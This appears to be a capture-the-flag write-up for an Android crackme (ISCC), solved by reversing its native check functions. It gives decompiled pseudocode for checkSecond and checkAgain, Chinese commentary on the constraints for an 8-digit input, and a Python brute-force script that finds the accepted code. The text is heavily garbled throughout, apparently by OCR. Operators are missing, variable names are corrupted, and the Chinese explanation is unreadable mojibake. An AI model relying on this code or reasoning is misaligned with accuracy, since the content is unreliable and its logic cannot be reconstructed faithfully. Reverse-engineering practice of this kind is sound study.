Java_com_iscc_crackme_MainActivity checkSecond(__int64 al, _ int64 a2, _ int64 a3)

::basic_string(&v7,

::basic_string(&y,

basic_string(

basic_string(&v7

basic_string(&v8




9

return v5 ilg

char _ fastcall checkAgain(__int64 al)
{

char result;

signed __ int64 v2;

signed __ int64 v3;

signed int 1;

signed int k;

int j;

signed int i;

char v8;

int v9;

int v10;

int v11;

int v12;

int vi3[1e];

unsigned _ int64 vi4;

vl4 = _ readfsqword(0x28u);
for (1i=20; i < 8; i)
{
if ( *(_BYTE *)al 1)
e (_QWORD *) (a1l 16);
else
\'E} al 1;
v13[i] (char *)(v3 i) 49;
}
for ((Jj =05 J < 8 ++j )
{
if ( *(_BYTE *)al 1)
(_QWORD *) (a1l 16);

al 1;
j) (char *)(v2

if ( vi2 + v9 5)
{
if ( vil + vie 12 )
{
if ( v9 v1i2 )
{
for ( k = 1; k < 8; ++k )
{

for (1 9; ks 1)
{

if ( vi3[1] vi3[k] )
{

v8 0;

goto LABEL_34;

goto LABEL_34;
}
if ( vi13[k] v13[1]
{




0;
goto LABEL_34;

1
J

if ( vi3[k] v13[1] (&v9

{
L

9;
goto LABEL_34;
1
J

if ( __readfsqword(0x28u) vl4 )
result v8 1;

return result;

o RICHRIHLEE, —AIL—HILE, BRcheckSecond(), & BT H L T Pivkcheck, checkfirst()flcheckAgain(),
W R E IE AR Bl True o

o checkfirst(fR i 8., BhRABGEMBLGRET/\SL, WRE—M/NTFEFRI—0L, FIREO, VLEAR\LLZEEK), BI12345678.

o checkAgain()&Z— i JL, EET/)\ALBGH TVISIEA R, &/ \SiREGEE T (vo+H)E, XEFEREMEVI. v10. vi1. vI2[]
LB, WIEMATEXN FespMimB R, W LAAEVOREMILE AL, VIORE AL, VIMEE TR, VI2RE /A, XE
TEERNRZ, MARRTERFN-8, ME492Z )5, —EF0-7. AR5 REX—BAZOY:



if ( v9 < v12 )
{
for ( k 1; k 8; k )
{
for (1 0; 1 k; 1)
{
if ( vi3[1] v13[k] )
{
v8 0;
goto LABEL_34;
}
if ( *(&v9 1)
{
v8 Q;
goto LABEL_34;
}
if ( vi13[k] v13[1] (&v9
{
v8 Q;
goto LABEL_34;
}
if ( vi13[k] v13[1] (&v9
{
v8 9,
goto LABEL_34;

o TAIRLIIRBEFWMAZITRE V8 =1 KME, 28—, WHEMEHEMME16M%5TS5, HHimE+haf%FET12, H

B J\LAE \ L B R AEE K027, Hil )\ MEBRUKNEESE/\MNNALKNEEAF, SMEERRIBE—T,
HEFHEBR, REZZHAAE, REERRER.




(i):
if num_list[i] num_list[j]
return False
elif num_list[i] num_list[j]
return False

return True

def get_code():
for a@ in [1, 2]:
a7 5 a0
for al in [5, 7]:
a6 12 al
a2map [0, 1, 2, 3, 4, 6]
a2map.remove(a0)
a2map.remove(a7)
for a2 in a2map:
a3map (a2map)
a3map.remove(a2)
for a3 in a3map:
admap (a3map)
admap.remove(a3)
for a4 in admap:
a5map (admap)
aSmap.remove(a4)
for a5 in aSmap:
num [a@, al, a2, a3, a4, a5, a6, a7]
if check(num):
num [ (i+1) for i in num]

return .join(num)

get_code()
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